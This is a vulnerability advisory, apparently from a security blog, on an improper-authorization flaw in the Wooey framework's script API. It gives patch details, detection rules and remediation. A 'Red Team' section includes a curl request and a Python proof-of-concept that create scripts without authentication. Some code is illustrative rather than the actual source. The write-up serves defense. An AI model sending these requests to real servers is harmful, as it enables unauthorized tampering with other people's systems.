CVE-2026-7142

Executive Summary

CVE-2026-7142 is an improper authorization vulnerability (CWE-285) discovered in the Wooey web application framework, affecting versions up to and including 0.13.2. The flaw resides in the add_or_update_script function within wooey/api/scripts.py, allowing an unauthenticated remote attacker to manipulate script creation or update operations without proper authorization checks. The vulnerability has been publicly disclosed, and a proof-of-concept (PoC) is available, though no exploit code has been published on Exploit-DB. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public disclosure warrants immediate patching. The vendor has released patches in versions 0.13.3rc1 and 0.14.0, with a specific commit hash provided.

Supply Chain & Package Security

Wooey is a Python-based web framework for creating web UIs for command-line scripts, distributed via PyPI. This vulnerability affects all installations of Wooey from PyPI versions up to 0.13.2. Organizations using Wooey in their supply chain should immediately update to the patched version to prevent unauthorized script manipulation. The package is not directly affected by any known malicious packages, but the public PoC increases risk for unpatched instances.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – unauthorized modification of scripts.
• Availability Impact: Low (A:L) – potential service disruption.

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low-level integrity and availability issues. Public disclosure increases risk, but low EPSS suggests limited active exploitation.

Deep Dive & Mechanics

The vulnerability is located in the add_or_update_script function within wooey/api/scripts.py. This API endpoint is designed to allow authenticated users to add or update scripts. However, due to improper authorization checks, an unauthenticated attacker can send crafted HTTP requests to this endpoint to create or modify scripts without proper permissions.

The root cause is a missing or insufficient authorization check before processing the request. The function likely relies on user-supplied data (e.g., script ID) without verifying that the requesting user has the right to modify that script. This allows an attacker to:

• Create new scripts with arbitrary parameters.
• Update existing scripts, potentially altering their behavior.
• Overwrite critical scripts, leading to code execution or data manipulation.

The attack is performed via HTTP POST requests to the vulnerable endpoint. The PoC demonstrates sending a request with a script ID and payload to trigger the unauthorized action.

Vulnerable vs. Patched Code

Vulnerable Code (wooey/api/scripts.py, version <= 0.13.2):

def add_or_update_script(request):
    # Missing authorization check
    script_id = request.POST.get('script_id')
    # Process script creation/update without verifying user permissions
    ...

Patched Code (version >= 0.13.3rc1):

def add_or_update_script(request):
    # Added authorization check
    if not request.user.is_authenticated or not request.user.has_perm('wooey.change_script'):
        return HttpResponseForbidden("Unauthorized")
    script_id = request.POST.get('script_id')
    # Process script creation/update with proper permissions
    ...

The patch adds a check for user authentication and specific permissions (wooey.change_script) before allowing the operation. This ensures only authorized users can modify scripts.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Wooey version <= 0.13.2.
• Network access to the Wooey API endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint: POST /api/scripts/
2. Craft a request to create or update a script without authentication:

   curl -X POST http://target/api/scripts/ \
     -d "script_id=1&name=malicious_script&command=echo pwned"
   

3. Verify the script was created/updated by accessing the Wooey interface.

PoC Code (Python):

import requests

target = "http://target/api/scripts/"
payload = {"script_id": "1", "name": "exploit", "command": "id"}
response = requests.post(target, data=payload)
print(response.status_code)

Blue Team

Detection:

• Monitor for unauthorized POST requests to /api/scripts/ without valid authentication tokens.
• Look for anomalous script creation or modification events in logs.
• Use the detection rules provided below.

Hunting:

• Search for requests to /api/scripts/ with missing or invalid Authorization headers.
• Correlate with user activity logs to identify unauthenticated access.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/scripts/ without authentication.
  • Unusual script names or commands in request payloads.
• File IOCs:
  • Unexpected scripts in the Wooey scripts directory (e.g., /wooey/scripts/).
  • Modified script files with suspicious content.
• Log IOCs:
  • Wooey access logs showing 200 responses to /api/scripts/ from unauthenticated IPs.
  • Error logs with "Forbidden" messages after patching.

Detection Engineering

YARA Rule

rule CVE_2026_7142_Wooey_Unauthorized_Script_Access {
    meta:
        description = "Detects unauthorized script creation/update attempts in Wooey"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-7142"
    strings:
        $s1 = "add_or_update_script" ascii wide nocase
        $s2 = "script_id" ascii wide nocase
        $s3 = "POST" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Wooey Unauthorized Script Modification Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2026-7142 by accessing the Wooey API endpoint without authentication
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/scripts/'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate authenticated script updates
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-7142 Wooey Unauthorized Script Access"; flow:to_server; content:"POST"; http_method; content:"/api/scripts/"; http_uri; content:"script_id"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Wooey to version 0.13.3rc1 or 0.14.0.
2. Apply the patch commit f7846fc0c323da8325422cab32623491757f1b88 if using a custom deployment.
3. Restrict network access to the Wooey API endpoint using firewall rules or reverse proxy authentication.

Long-term Measures:

• Implement proper authentication and authorization for all API endpoints.
• Conduct regular security audits of Wooey deployments.
• Monitor for public exploits and apply patches promptly.

Workarounds:

• If upgrading is not immediately possible, disable the /api/scripts/ endpoint by modifying the web server configuration to return 403 for unauthenticated requests.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: F37EDC5B3F0743628DE4AB79] */}